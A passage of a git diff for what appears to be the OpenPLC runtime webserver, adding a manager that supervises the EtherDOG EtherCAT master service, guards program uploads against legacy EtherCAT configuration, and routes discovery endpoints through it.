edl_send_outputs(&lk, 0, out, sizeof(out), true)); + uint8_t buf[64]; + ssize_t n = recv(peer, buf, sizeof(buf), 0); + TEST_ASSERT_EQUAL_INT(EDL_FRAME_HEADER + 3, (int)n); + TEST_ASSERT_EQUAL_MEMORY("EDOG", buf, 4); + TEST_ASSERT_EQUAL_UINT8(1, buf[5]); /* outputs */ + TEST_ASSERT_EQUAL_HEX8(EDL_FLAG_VALID, buf[7]); + TEST_ASSERT_EQUAL_HEX8(0xCD, buf[8]); + TEST_ASSERT_EQUAL_HEX8(0xAB, buf[9]); + TEST_ASSERT_EQUAL_UINT8(1, buf[16]); /* first sequence */ + TEST_ASSERT_EQUAL_UINT8(3, buf[20]); + TEST_ASSERT_EQUAL_MEMORY(out, buf + EDL_FRAME_HEADER, 3); + + TEST_ASSERT_EQUAL_INT(-1, edl_send_outputs(&lk, 1, out, sizeof(out), true)); /* not open */ + TEST_ASSERT_EQUAL_INT(-1, edl_send_outputs(&lk, 0, out, EDL_MAX_PAYLOAD + 1, true)); +} diff --git a/webserver/app.py b/webserver/app.py index d4492b0f..33657fb2 100644 --- a/webserver/app.py +++ b/webserver/app.py @@ -16,8 +16,11 @@ import os import platform import shutil +import signal import ssl +import tempfile import threading +import zipfile from pathlib import Path from typing import Callable, Final, Optional @@ -28,6 +31,7 @@ from webserver.credentials import CertGen from webserver.debug_websocket import init_debug_websocket from webserver.discovery.discovery_routes import discovery_bp +from webserver.etherdog_manager import EtherDogManager, legacy_ethercat_config_in_use from webserver.discovery.network_discovery import ( responder as network_discovery_responder, ) @@ -39,6 +43,7 @@ apply_retain_conf, apply_vpp_plugin_conf, build_state, + ensure_plc_stopped, run_compile, safe_extract, update_plugin_configurations, @@ -72,6 +77,11 @@ login_manager = flask_login.LoginManager() login_manager.init_app(app) +# EtherDOG first: plc_main's EtherCAT plugin reads the session file it writes, and a PLC that +# auto-starts at boot needs the bus configured before its plugins start. +etherdog_manager = EtherDogManager() +etherdog_manager.start() + runtime_manager = RuntimeManager( runtime_path="./build/plc_main", plc_socket="/run/runtime/plc_runtime.socket", @@ -90,6 +100,7 @@ # without triggering a re-import of this module (which would create # a duplicate RuntimeManager when run with python -m webserver.app). app_restapi.config["RUNTIME_MANAGER"] = runtime_manager +app_restapi.config["ETHERDOG_MANAGER"] = etherdog_manager BASE_DIR: Final[Path] = Path(__file__).parent CERT_FILE: Final[Path] = (BASE_DIR / "certOPENPLC.pem").resolve() @@ -329,7 +340,53 @@ def stage_project_snapshot() -> str: return "" +# First versions that split the EtherCAT configuration into busconfig and iomapping +ETHERDOG_MIN_RUNTIME_VERSION = "4.3.0" +ETHERDOG_MIN_EDITOR_VERSION = "4.3.2" + +# How long an upload waits for a running PLC to stop +PLC_STOP_TIMEOUT_S = 30.0 + + +def _upload_has_legacy_ethercat(zip_file, valid_files) -> bool: + """True when the upload's conf/ethercat.json (pre-split format) describes EtherCAT masters.""" + names = [ + info.filename + for info in valid_files + if info.filename == "conf/ethercat.json" or info.filename.endswith("/conf/ethercat.json") + ] + if not names: + return False + try: + with zipfile.ZipFile(zip_file, "r") as zf: + text = zf.read(names[0]).decode("utf-8", errors="replace") + except (zipfile.BadZipFile, KeyError, OSError) as e: + logger.warning("Could not inspect conf/ethercat.json in the upload: %s", e) + return False + with tempfile.TemporaryDirectory() as tmp: + conf = Path(tmp) + (conf / "ethercat.json").write_text(text, encoding="utf-8") + return legacy_ethercat_config_in_use(conf) + + +# One upload at a time: from the busy check until the compile thread starts, an upload replaces +# core/generated and the EtherCAT bus configuration. +_upload_lock = threading.Lock() + + def handle_upload_file(data: dict) -> dict: + if not _upload_lock.acquire(blocking=False): + return { + "UploadFileFail": "Another upload is in progress, please wait", + "CompilationStatus": build_state.status.name, + } + try: + return _handle_upload_file(data) + finally: + _upload_lock.release() + + +def _handle_upload_file(data: dict) -> dict: if build_state.status == BuildStatus.COMPILING: return { "UploadFileFail": "Runtime is compiling another program, please wait", @@ -366,6 +423,32 @@ def handle_upload_file(data: dict) -> dict: extract_dir = "core/generated" + # Programs built before the EtherCAT configuration split carry one ethercat.json that + # the runtime no longer reads. Refuse them before anything on the device changes. + if _upload_has_legacy_ethercat(zip_file, valid_files): + build_state.status = BuildStatus.FAILED + return { + "UploadFileFail": ( + "This program was built with an Editor that writes the old EtherCAT " + "configuration (conf/ethercat.json), which runtime " + f"{ETHERDOG_MIN_RUNTIME_VERSION} and newer no longer read. Rebuild it with " + f"OpenPLC Editor {ETHERDOG_MIN_EDITOR_VERSION} or newer." + ), + "CompilationStatus": build_state.status.name, + } + + # The Editor stops the PLC before uploading; other clients may not. Nothing below may + # run beside the old program: the EtherCAT bus configuration is staged next. + stopped, was_running = ensure_plc_stopped(runtime_manager, timeout_s=PLC_STOP_TIMEOUT_S) + if not stopped: + build_state.status = BuildStatus.FAILED + return { + "UploadFileFail": "The running PLC could not be stopped; upload cancelled", + "CompilationStatus": build_state.status.name, + } + if was_running: + build_state.log("[WARNING] The PLC was running; stopped it before the upload\n") + # Point of no return: past here the program on the device is being # replaced, so the stored project snapshot must go with it. Clearing # here rather than on arrival means a rejected upload (bad zip, too @@ -404,6 +487,10 @@ def handle_upload_file(data: dict) -> dict: # Update built-in plugin configurations based on extracted config files update_plugin_configurations(extract_dir) + # The bus half of the EtherCAT configuration belongs to EtherDOG. + busconfig = Path(extract_dir) / "conf" / "ethercat_busconfig.json" + etherdog_manager.apply_busconfig(busconfig if busconfig.exists() else None) + # ?clean=1 — wired from the editor's "Clean build and upload" UI # option. Forces a full recompile by wiping core/build/ and the # ccache contents before invoking compile.sh. Older editors @@ -489,7 +576,17 @@ def restapi_callback_post(argument: str, data: dict) -> dict: return handler(data) +def _stop_on_signal(signum: int, _frame: object) -> None: + # Same shutdown path as Ctrl+C, so EtherDOG zeroes the outputs and plc_main stops cleanly + signal.signal(signum, signal.SIG_IGN) # a repeat must not interrupt the cleanup + raise KeyboardInterrupt(f"signal {signum}") + + def run_https(): + for sig in (signal.SIGTERM, getattr(signal, "SIGHUP", None)): + if sig is not None: + signal.signal(sig, _stop_on_signal) + # rest api register app_restapi.register_blueprint(restapi_bp, url_prefix="/api") app_restapi.register_blueprint(discovery_bp) @@ -568,6 +665,7 @@ def _patched_recv(self, buflen, flags=0): # logger.info("HTTP server stopped by KeyboardInterrupt") pass finally: + etherdog_manager.stop() logger.info("Runtime manager stopped") runtime_manager.stop() network_discovery_responder.stop() diff --git a/webserver/discovery/discovery_routes.py b/webserver/discovery/discovery_routes.py index 48682bf6..d7a7875e 100644 --- a/webserver/discovery/discovery_routes.py +++ b/webserver/discovery/discovery_routes.py @@ -6,7 +6,7 @@ Endpoints: GET /api/discovery/interfaces - List network interfaces (common) GET /api/discovery/ethercat/status - Check if EtherCAT discovery service is available - POST /api/discovery/ethercat/scan - Scan network for EtherCAT slaves (via SOEM plugin) + POST /api/discovery/ethercat/scan - Scan network for EtherCAT slaves (via EtherDOG) POST /api/discovery/ethercat/validate - Validate EtherCAT configuration POST /api/discovery/ethercat/test - Test connection to specific EtherCAT slave """ @@ -25,6 +25,14 @@ discovery_bp = Blueprint("discovery", __name__, url_prefix="/api/discovery") +def _with_plugin_state(result: dict) -> dict: + """Add the Editor's "plugin_state" key next to EtherDOG's per-master "state".""" + for master in result.get("masters", []): + if isinstance(master, dict) and "state" in master: + master.setdefault("plugin_state", master["state"]) + return result + + @discovery_bp.route("/ethercat/status", methods=["GET"]) @jwt_required() def ethercat_status(): @@ -48,16 +56,12 @@ def ethercat_status(): type: string description: Status message """ - # Discovery is built into the runtime via the native EtherCAT plugin (SOEM). - # Verify the runtime is actually reachable before reporting available. - runtime_manager = current_app.config["RUNTIME_MANAGER"] - - ping_response = runtime_manager.ping() - if ping_response and ping_response.startswith("PING:OK"): - return jsonify( - {"available": True, "message": "Discovery service is ready (native SOEM plugin)"} - ) - return jsonify({"available": False, "message": "PLC runtime is not reachable"}) + # Discovery is served by EtherDOG, the EtherCAT master service. + etherdog = current_app.config["ETHERDOG_MANAGER"] + result = etherdog.plugin_style_command({"command": "status"}, timeout=5.0) + if "error" in result: + return jsonify({"available": False, "message": f"EtherDOG unavailable: {result['error']}"}) + return jsonify({"available": True, "message": "Discovery service is ready (EtherDOG)"}) @discovery_bp.route("/interfaces", methods=["GET"]) @@ -95,13 +99,9 @@ def network_interfaces(): 500: description: Error retrieving interfaces """ - runtime_manager = current_app.config["RUNTIME_MANAGER"] + etherdog = current_app.config["ETHERDOG_MANAGER"] - result = runtime_manager.send_plugin_command( - "ethercat", - json.dumps({"command": "list-interfaces"}), - timeout=5.0, - ) + result = etherdog.plugin_style_command({"command": "list-interfaces"}, timeout=5.0) if "error" in result: return ( @@ -243,13 +243,11 @@ def ethercat_scan(): if not is_valid: return jsonify({"status": "error", "message": error_msg}), 400 - # Route scan through the native EtherCAT plugin via unix socket - runtime_manager = current_app.config["RUNTIME_MANAGER"] + # Scans go straight to EtherDOG, so they work with no program loaded. + etherdog = current_app.config["ETHERDOG_MANAGER"] - result = runtime_manager.send_plugin_command( - "ethercat", - json.dumps({"command": "scan", "params": {"interface": interface}}), - timeout=10.0, + result = etherdog.plugin_style_command( + {"command": "scan", "params": {"interface": interface}}, timeout=10.0 ) if "error" in result: @@ -284,7 +282,7 @@ def ethercat_scan(): @jwt_required() def ethercat_runtime_status(): """ - Get the current EtherCAT runtime status from the native plugin. + Get the current EtherCAT bus status from EtherDOG. --- tags: - EtherCAT @@ -348,24 +346,20 @@ def ethercat_runtime_status(): 503: description: Runtime not available """ - runtime_manager = current_app.config["RUNTIME_MANAGER"] + etherdog = current_app.config["ETHERDOG_MANAGER"] - result = runtime_manager.send_plugin_command( - "ethercat", - json.dumps({"command": "status"}), - timeout=5.0, - ) + result = etherdog.plugin_style_command({"command": "status"}, timeout=5.0) if "error" in result: return jsonify({"status": "error", "message": result["error"]}), 503 - return jsonify(result), 200 + return jsonify(_with_plugin_state(result)), 200 @discovery_bp.route("/ethercat/diagnostics", methods=["GET"]) @jwt_required() def ethercat_diagnostics(): """ - Get detailed EtherCAT diagnostic information from the native plugin. + Get detailed EtherCAT diagnostic information from EtherDOG. --- tags: - EtherCAT @@ -394,17 +388,13 @@ def ethercat_diagnostics(): 503: description: Runtime not available """ - runtime_manager = current_app.config["RUNTIME_MANAGER"] + etherdog = current_app.config["ETHERDOG_MANAGER"] - result = runtime_manager.send_plugin_command( - "ethercat", - json.dumps({"command": "diagnostics"}), - timeout=5.0, - ) + result = etherdog.plugin_style_command({"command": "diagnostics"}, timeout=5.0) if "error" in result: return jsonify({"status": "error", "message": result["error"]}), 503 - return jsonify(result), 200 + return jsonify(_with_plugin_state(result)), 200 @discovery_bp.route("/ethercat/validate", methods=["POST"]) @@ -605,16 +595,10 @@ def ethercat_test(): if not is_valid: return jsonify({"status": "error", "message": error_msg}), 400 - runtime_manager = current_app.config["RUNTIME_MANAGER"] + etherdog = current_app.config["ETHERDOG_MANAGER"] - result = runtime_manager.send_plugin_command( - "ethercat", - json.dumps( - { - "command": "test", - "params": {"interface": interface, "position": position}, - } - ), + result = etherdog.plugin_style_command( + {"command": "test", "params": {"interface": interface, "position": position}}, timeout=10.0, ) diff --git a/webserver/discovery/ethercat_discovery.py b/webserver/discovery/ethercat_discovery.py index 9c469d78..bb390875 100644 --- a/webserver/discovery/ethercat_discovery.py +++ b/webserver/discovery/ethercat_discovery.py @@ -4,8 +4,8 @@ """EtherCAT discovery helpers. Validation utilities for EtherCAT configuration and interface names. -Network operations (scan, list-interfaces, test) are handled by the -native EtherCAT plugin via plugin commands routed through the unix socket. +Network operations (scan, list-interfaces, test) are handled by EtherDOG, the +EtherCAT master service, through webserver.etherdog_manager. """ import re @@ -17,6 +17,8 @@ # Linux interface names: eth0, enp3s0, eno1, wlan0, br-docker0, veth123abc INTERFACE_NAME_PATTERN = re.compile(r"^[a-zA-Z][a-zA-Z0-9_-]*$") MAX_INTERFACE_NAME_LENGTH = 15 # IFNAMSIZ - 1 +# Windows (Npcap) device paths: \Device\NPF_{GUID} or \Device\NPF_Loopback +NPF_DEVICE_PATTERN = re.compile(r"^\\Device\\NPF_(\{[0-9A-Fa-f-]{36}\}|Loopback)$") class DiscoveryStatus(str, Enum): @@ -69,6 +71,8 @@ def _validate_interface_name(interface: str) -> tuple[bool, str]: """ if not interface: return False, "Interface name cannot be empty" + if NPF_DEVICE_PATTERN.match(interface): + return True, "" if len(interface) > MAX_INTERFACE_NAME_LENGTH: return False, f"Interface name too long (max {MAX_INTERFACE_NAME_LENGTH} chars)" if not INTERFACE_NAME_PATTERN.match(interface): diff --git a/webserver/etherdog_manager.py b/webserver/etherdog_manager.py new file mode 100644 index 00000000..cf20a734 --- /dev/null +++ b/webserver/etherdog_manager.py @@ -0,0 +1,505 @@ +# SPDX-License-Identifier: MIT +# Copyright (c) 2026 Autonomy® + +"""Supervises EtherDOG, the EtherCAT master service, and talks to it. + +Starts it, stages the bus configuration from an upload, and forwards commands. plc_main reaches +it through the session file written here (control endpoint, data transport, bus configuration); +the EtherCAT plugin loads that configuration and starts the bus together with the program. +""" + +from __future__ import annotations + +import json +import os +import platform +import signal +import shutil +import socket +import subprocess +import threading +import time +from collections import deque +from dataclasses import dataclass +from enum import Enum +from pathlib import Path +from typing import Any + +from webserver.logger import get_logger + +logger, _ = get_logger("logger", use_buffer=True) + +IS_WINDOWS = platform.system() != "Linux" + +DEFAULT_BINARY = "./build/etherdog" +DEFAULT_RUN_DIR = Path("/run/runtime") +BUSCONFIG_NAME = "ethercat_busconfig.json" +DEFAULT_BUSCONFIG_PATH = Path("./build/plugins") / BUSCONFIG_NAME + +# Same policy as the PLC runtime: this many exits within the window disables EtherDOG +MAX_RAPID_EXITS = 3 +RAPID_EXIT_WINDOW_S = 30.0 +READY_TIMEOUT_S = 10.0 +LEFTOVER_KILL_TIMEOUT_S = 5.0 +OUTPUT_TAIL_LINES = 20 + +USAGE_ERROR_EXIT = 2 +MISSING_LIBRARY_EXITS = (127, 0xC0000135) # Cygwin loader, Windows STATUS_DLL_NOT_FOUND +NPCAP_MARKERS = ("wpcap", "packet.dll", "npcap") +NPCAP_REASON = ( + "Npcap is not installed; EtherCAT requires Npcap (https://npcap.com) to access the " + "network interface. Install it and restart the runtime" +) + + +class EtherDogErrorKind(Enum): + """Why EtherDOG is unavailable, as told to API clients.""" + + NOT_INSTALLED = "not_installed" + CANNOT_START = "cannot_start" + NPCAP_MISSING = "npcap_missing" + MISSING_LIBRARY = "missing_library" + REPEATED_EXITS = "repeated_exits" + UNREACHABLE = "unreachable" + + +PUBLIC_MESSAGES: dict[EtherDogErrorKind, str] = { + EtherDogErrorKind.NOT_INSTALLED: "EtherDOG is not installed", + EtherDogErrorKind.CANNOT_START: "EtherDOG cannot be started", + EtherDogErrorKind.NPCAP_MISSING: NPCAP_REASON, + EtherDogErrorKind.MISSING_LIBRARY: "EtherDOG cannot load a required library", + EtherDogErrorKind.REPEATED_EXITS: "EtherDOG stopped after exiting repeatedly", + EtherDogErrorKind.UNREACHABLE: "EtherDOG is not reachable", +} +DEFAULT_PUBLIC_MESSAGE = "The EtherCAT master is unavailable" + + +class EtherDogUnavailable(RuntimeError): + """EtherDOG is not installed, not running, or refused the request. + + The message carries the detail for the server log; ``public_message`` is what a client sees. + """ + + def __init__(self, detail: str, kind: EtherDogErrorKind | None = None) -> None: + super().__init__(detail) + self.kind = kind + + @property + def public_message(self) -> str: + return ( + PUBLIC_MESSAGES.get(self.kind, DEFAULT_PUBLIC_MESSAGE) + if self.kind + else DEFAULT_PUBLIC_MESSAGE + ) + + +@dataclass +class EtherDogPaths: + binary: str + run_dir: Path + busconfig: Path + + @property + def control(self) -> str: + # EtherDOG checks the peer's uid on unix sockets, on Linux and MSYS2 alike + return f"unix:{self.run_dir / 'etherdog.socket'}" + + @property + def state_dir(self) -> Path: + return self.run_dir / "etherdog" + + @property + def session_file(self) -> Path: + return self.run_dir / "etherdog.json" + + +def _connect(control: str, timeout: float) -> socket.socket: + if control.startswith("unix:"): + sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) + sock.settimeout(timeout) + sock.connect(control[len("unix:") :]) + return sock + host, _, port = control[len("tcp:") :].rpartition(":") + return socket.create_connection((host, int(port)), timeout=timeout) + + +class EtherDogManager: + """Start, supervise and command one EtherDOG process.""" + + def __init__( + self, + binary: str = DEFAULT_BINARY, + run_dir: Path = DEFAULT_RUN_DIR, + busconfig: Path = DEFAULT_BUSCONFIG_PATH, + log_socket: str | None = None, + ) -> None: + self.paths = EtherDogPaths(binary=binary, run_dir=run_dir, busconfig=busconfig) + # Same log server plc_main writes to, so EtherDOG's lines reach the runtime log stream. + self.log_socket = log_socket or f"unix:{run_dir / 'log_runtime.socket'}" + self._process: subprocess.Popen[str] | None = None + self._pump: threading.Thread | None = None + self._ready = False + self._output: deque[str] = deque(maxlen=OUTPUT_TAIL_LINES) + self._lock = threading.Lock() + self._running = False + self._exit_times: list[float] = [] + self._disabled_reason: str | None = None + self._disabled_kind: EtherDogErrorKind | None = None + self._monitor: threading.Thread | None = None + # Serialises start, spawn and stop; separate from _lock, which apply_busconfig holds. + self._lifecycle = threading.Lock() + self._stopping = threading.Event() + + # --- process lifecycle ------------------------------------------------------------- + + @property + def installed(self) -> bool: + return os.path.isfile(self.paths.binary) or os.path.isfile(self.paths.binary + ".exe") + + @property + def disabled_reason(self) -> str | None: + """Why EtherDOG is not running, or None while it is supervised.""" + return self._disabled_reason + + def start(self) -> None: + """Start EtherDOG (if installed) and keep it running. Never raises: without EtherDOG + the runtime still runs, only EtherCAT is unavailable. A no-op while already supervised.""" + with self._lifecycle: + monitor = self._monitor + if monitor is not None and monitor.is_alive(): + if self._running: + return + # A supervisor that just disabled EtherDOG or was stopped is returning + monitor.join(timeout=LEFTOVER_KILL_TIMEOUT_S) + if monitor.is_alive(): + return + if not self.installed: + self._disable( + f"EtherDOG is not installed at {self.paths.binary}", + EtherDogErrorKind.NOT_INSTALLED, + ) + return + self._disabled_reason = None + self._disabled_kind = None + self._exit_times.clear() + self._stopping.clear() + self._running = True + self._monitor = threading.Thread(target=self._supervise, daemon=True) + self._monitor.start() + + def stop(self) -> None: + self._stopping.set() + self._running = False + with self._lifecycle: + proc = self._process + if proc is not None and proc.poll() is None: + try: + self.command({"command": "shutdown"}, timeout=5.0) + except EtherDogUnavailable: + pass + try: + proc.wait(timeout=10) + except subprocess.TimeoutExpired: + proc.kill() + try: + proc.wait(timeout=5) + except subprocess.TimeoutExpired: + logger.error("EtherDOG (pid %d) did not exit after SIGKILL", proc.pid) + monitor = self._monitor + if monitor is not None and monitor is not threading.current_thread(): + monitor.join(timeout=LEFTOVER_KILL_TIMEOUT_S + READY_TIMEOUT_S) + + def _disable(self, reason: str, kind: EtherDogErrorKind | None = None) -> None: + self._running = False + self._disabled_reason = reason + self._disabled_kind = kind + logger.warning("%s. EtherCAT is disabled; the runtime continues without it.", reason) + try: + _write_private(self.paths.session_file, json.dumps({"disabled": reason}) + "\n") + except OSError as e: + logger.error("Could not write the EtherDOG session file: %s", e) + + def _write_session(self) -> None: + self.paths.state_dir.mkdir(parents=True, exist_ok=True) + os.chmod(self.paths.state_dir, 0o700) + session = { + "control": self.paths.control, + "data": "udp" if IS_WINDOWS else "unix", + "busconfig": str(self.paths.busconfig.resolve()), + } + _write_private(self.paths.session_file, json.dumps(session) + "\n") + + def _kill_leftovers(self) -> None: + """Kill EtherDOG processes started from this binary by an earlier webserver; one would + hold the control socket and the network interface.""" + for pid in _processes_running(self.paths.binary): + logger.warning("Stopping a leftover EtherDOG (pid %d)", pid) + _terminate(pid, LEFTOVER_KILL_TIMEOUT_S) + + def _spawn(self) -> bool: + """Start the process. False when it cannot be executed at all.""" + cmd = [ + self.paths.binary, + "--control", + self.paths.control, + "--state-dir", + str(self.paths.state_dir), + "--log-socket", + self.log_socket, + ] + self._output.clear() + self._ready = False + with self._lifecycle: + # A stop() during the leftover cleanup or a restart must not leave a new process + if self._stopping.is_set(): + return False + try: + self._write_session() + self._process = subprocess.Popen( + cmd, + stdout=subprocess.PIPE, + stderr=subprocess.STDOUT, + text=True, + bufsize=1, + ) + except OSError as e: + self._process = None + self._disable(f"EtherDOG cannot be started: {e}", EtherDogErrorKind.CANNOT_START) + return False + self._pump = threading.Thread(target=self._pump_logs, args=(self._process,), daemon=True) + self._pump.start() + if self._wait_ready(timeout=READY_TIMEOUT_S): + self._ready = True + logger.info("EtherDOG started (pid %d)", self._process.pid) + elif self._process.poll() is None: + logger.error("EtherDOG did not open its control socket in time") + return True + + def _pump_logs(self, proc: subprocess.Popen[str]) -> None: + """Drain EtherDOG's stdout/stderr and keep the tail for exit diagnosis. Once EtherDOG is + up its log lines arrive through the log socket; before that, errors are logged here.""" + assert proc.stdout is not None + for line in proc.stdout: + line = line.rstrip() + if not line: + continue + self._output.append(line) + if not self._ready and "[ERROR]" in line: + logger.error("%s", line.split("[ERROR] ", 1)[-1]) + + def _wait_ready(self, timeout: float) -> bool: + deadline = time.monotonic() + timeout + while time.monotonic() < deadline: + if self._process is None or self._process.poll() is not None: + return False + try: + self.command({"command": "status"}, timeout=2.0) + return True + except EtherDogUnavailable: + time.sleep(0.2) + return False + + def _record_exit(self) -> bool: + """Record an exit; True when it is one too many within the window.""" + now = time.monotonic() + self._exit_times = [t for t in self._exit_times if now - t < RAPID_EXIT_WINDOW_S] + self._exit_times.append(now) + return len(self._exit_times) >= MAX_RAPID_EXITS + + def _supervise(self) -> None: + self._kill_leftovers() + if self._stopping.is_set() or not self._spawn(): + return + while self._running: + proc = self._process + if proc is None: + return + code = proc.wait() + if self._pump is not None: + self._pump.join(timeout=2.0) + if not self._running: + return + # EtherDOG exits 0 only when asked to stop (SIGINT/SIGTERM or "shutdown") + if code == 0: + self._running = False + logger.info("EtherDOG stopped; not restarting it") + return + output = list(self._output) + reason = _fatal_exit_reason(code, output) + if reason is not None: + for line in output[-5:]: + logger.error("[ETHERDOG] %s", line) + self._disable(reason, _fatal_exit_kind(reason)) + return + if self._record_exit(): + self._disable( + f"EtherDOG exited {MAX_RAPID_EXITS} times within {RAPID_EXIT_WINDOW_S:.0f} s " + f"(last exit code {code})", + EtherDogErrorKind.REPEATED_EXITS, + ) + return + logger.warning("EtherDOG exited (code %s); restarting", code) + if not self._spawn(): + return + + # --- commands ------------------------------------------------------------------------ + + def command(self, request: dict[str, Any], timeout: float = 10.0) -> dict[str, Any]: + """Send one command and return EtherDOG's JSON reply.""" + if self._disabled_reason is not None: + raise EtherDogUnavailable(self._disabled_reason, self._disabled_kind) + if not self.installed: + raise EtherDogUnavailable("EtherDOG is not installed", EtherDogErrorKind.NOT_INSTALLED) + try: + with _connect(self.paths.control, timeout) as sock: + sock.settimeout(timeout) + reader = sock.makefile("r", encoding="utf-8") + hello = {"command": "hello"} + sock.sendall(json.dumps(hello).encode() + b"\n") + reply = json.loads(reader.readline() or "{}") + if "error" in reply: + raise EtherDogUnavailable(reply["error"]) + sock.sendall(json.dumps(request).encode() + b"\n") + line = reader.readline() + except (OSError, ValueError) as e: + raise EtherDogUnavailable( + f"EtherDOG unreachable: {e}", EtherDogErrorKind.UNREACHABLE + ) from e + if not line: + raise EtherDogUnavailable("EtherDOG closed the connection") + try: + result = json.loads(line) + except ValueError as e: + raise EtherDogUnavailable(f"invalid reply from EtherDOG: {e}") from e + return result if isinstance(result, dict) else {"error": "invalid reply from EtherDOG"} + + def plugin_style_command(self, request: dict[str, Any], timeout: float) -> dict[str, Any]: + """Same contract as RuntimeManager.send_plugin_command: errors come back as {"error"}. + + The error is a fixed message per failure kind; the detail (paths, OS errors) is logged. + """ + try: + return self.command(request, timeout=timeout) + except EtherDogUnavailable as e: + logger.warning("EtherDOG command %s failed: %s", request.get("command"), e) + return {"error": e.public_message} + + # --- bus configuration ----------------------------------------------------------------- + + def apply_busconfig(self, source: Path | None) -> None: + """Stage the bus configuration from an upload (None removes it) and stop the bus. + + The EtherCAT plugin loads the staged file and starts the bus when the new program + starts, so the bus never runs a configuration that belongs to another program. + """ + with self._lock: + if source is not None: + self.paths.busconfig.parent.mkdir(parents=True, exist_ok=True) + shutil.copy2(source, self.paths.busconfig) + elif self.paths.busconfig.exists(): + self.paths.busconfig.unlink() + if self._running and self._process is not None and self._process.poll() is None: + try: + result = self.command({"command": "stop"}, timeout=15.0) + except EtherDogUnavailable as e: + logger.error("Could not stop the EtherCAT bus for the upload: %s", e) + return + if "error" in result: + logger.error("EtherDOG could not stop the bus: %s", result["error"]) + return + # A new program gets a fresh start, as the PLC runtime does after safe mode + if not self._running and self.installed: + logger.info("Retrying EtherDOG for the new program") + self.start() + + +def _fatal_exit_kind(reason: str) -> EtherDogErrorKind | None: + if reason == NPCAP_REASON: + return EtherDogErrorKind.NPCAP_MISSING + if "required library" in reason: + return EtherDogErrorKind.MISSING_LIBRARY + return None + + +def _fatal_exit_reason(code: int, output: list[str]) -> str | None: + """Why EtherDOG can never start as installed, or None when a restart may help.""" + text = "\n".join(output).lower() + missing_library = ( + code in MISSING_LIBRARY_EXITS or "error while loading shared libraries" in text + ) + if missing_library: + if IS_WINDOWS and (any(m in text for m in NPCAP_MARKERS) or not output): + return NPCAP_REASON + detail = output[-1] if output else f"exit code {code}" + return f"EtherDOG cannot load a required library ({detail})" + if code == USAGE_ERROR_EXIT: + return "EtherDOG rejected its command line (exit code 2)" + return None + + +def _processes_running(binary: str) -> list[int]: + """PIDs of processes whose executable is @binary (Linux and MSYS2 both have /proc).""" + targets = {os.path.realpath(p) for p in (binary, binary + ".exe") if os.path.isfile(p)} + proc = Path("/proc") + if not targets or not proc.is_dir(): + return [] + pids = [] + for entry in proc.iterdir(): + if not entry.name.isdigit() or int(entry.name) == os.getpid(): + continue + try: + exe = os.readlink(entry / "exe") + except OSError: + continue + # An executable replaced by a reinstall shows up as " (deleted)" + exe = exe.removesuffix(" (deleted)") + if os.path.realpath(exe) in targets: + pids.append(int(entry.name)) + return pids + + +def _terminate(pid: int, timeout: float) -> None: + """SIGTERM, then SIGKILL once @timeout passes.""" + for sig in (signal.SIGTERM, signal.SIGKILL): + try: + os.kill(pid, sig) + except ProcessLookupError: + return + except PermissionError as e: + logger.error("Cannot stop process %d: %s", pid, e) + return + deadline = time.monotonic() + timeout + while time.monotonic() < deadline: + try: + os.kill(pid, 0) + except ProcessLookupError: + return + time.sleep(0.1) + logger.error("Process %d did not exit", pid) + + +def _write_private(path: Path, text: str) -> None: + path.parent.mkdir(parents=True, exist_ok=True) + flags = os.O_WRONLY | os.O_CREAT | os.O_TRUNC | getattr(os, "O_NOFOLLOW", 0) + fd = os.open(str(path), flags, 0o600) + os.fchmod(fd, 0o600) + with os.fdopen(fd, "w", encoding="utf-8") as f: + f.write(text) + + +def legacy_ethercat_config_in_use(conf_dir: Path) -> bool: + """True when an upload carries the pre-split ethercat.json with real masters in it. + + Editors before the split always wrote conf/ethercat.json, empty when the project has no + EtherCAT, so only a file that actually describes masters is a problem. + """ + legacy = conf_dir / "ethercat.json" + if not legacy.exists(): + return False + try: + data = json.loads(legacy.read_text(encoding="utf-8") or "null") + except (OSError, ValueError): + return False + return isinstance(data, list) and any( + isinstance(m, dict) and str(m.get("protocol", "")).upper() == "ETHERCAT" for m in data + ) diff --git a/webserver/plcapp_management.py b/webserver/plcapp_management.py index 1b58e351..87df8270 100644 --- a/webserver/plcapp_management.py +++ b/webserver/plcapp_management.py @@ -284,6 +284,27 @@ def _wait_for_plc_idle(runtime_manager: RuntimeManager, timeout_s: float) -> boo return False +def ensure_plc_stopped(runtime_manager: RuntimeManager, timeout_s: float) -> tuple[bool, bool]: + """Stop the PLC if it is running and wait until it has stopped. + + Returns (stopped, was_running). stopped is False when the PLC still runs or is still in a + transition after timeout_s. A runtime that cannot be reached counts as stopped: no + program runs. + """ + if not _wait_for_plc_idle(runtime_manager, timeout_s): + return False, False + if "RUNNING" not in (runtime_manager.status_plc() or "").upper(): + return True, False + runtime_manager.stop_plc() + deadline = time.monotonic() + timeout_s + while time.monotonic() < deadline: + resp = (runtime_manager.status_plc() or "").upper() + if "RUNNING" not in resp and "TRANSITIONING" not in resp: + return True, True + time.sleep(0.1) + return False, True + + def validate_vpp_plugins_conf(conf_path: str, runtime_root: str, vpp_build_dir: str) -> tuple[bool, str]: """Containment check for an upload-supplied ``vpp_plugins.conf``. diff --git a/webserver/plugin_config_model.py b/webserver/plugin_config_model.py index ac40b828..0e486651 100644 --- a/webserver/plugin_config_model.py +++ b/webserver/plugin_config_model.py @@ -20,6 +20,11 @@ logger, _ = get_logger(__name__) + +# Plugins configured by a file whose name is not the plugin name. The EtherCAT client plugin +# reads the Editor's I/O mapping; the bus half (ethercat_busconfig.json) goes to EtherDOG. +PLUGIN_CONFIG_ALIASES: dict[str, str] = {"ethercat": "ethercat_iomapping"} + class PluginType(IntEnum): """Plugin type enumeration.""" PYTHON = 0 @@ -317,6 +322,12 @@ def update_plugins_from_config_dir(self, config_dir: str, copy_to_plugin_dirs: b # Get available config files config_files = glob.glob(os.path.join(config_dir, "*.json")) available_configs = {os.path.splitext(os.path.basename(f))[0]: f for f in config_files} + # A plugin whose config file is named differently from the plugin itself. + for plugin_name, config_name in PLUGIN_CONFIG_ALIASES.items(): + if config_name in available_configs: + available_configs[plugin_name] = available_configs[config_name] + else: + available_configs.pop(plugin_name, None) updates = [] plugins_updated = 0 diff --git a/webserver/runtimemanager.py b/webserver/runtimemanager.py index 3a1ecbab..520a8ee8 100644 --- a/webserver/runtimemanager.py +++ b/webserver/runtimemanager.py @@ -41,6 +41,9 @@ # an SLM-RP4) and then tears the program and plugins down. RUNTIME_SHUTDOWN_TIMEOUT_S = 15 +# How long a freshly started runtime gets to open its command socket (a few 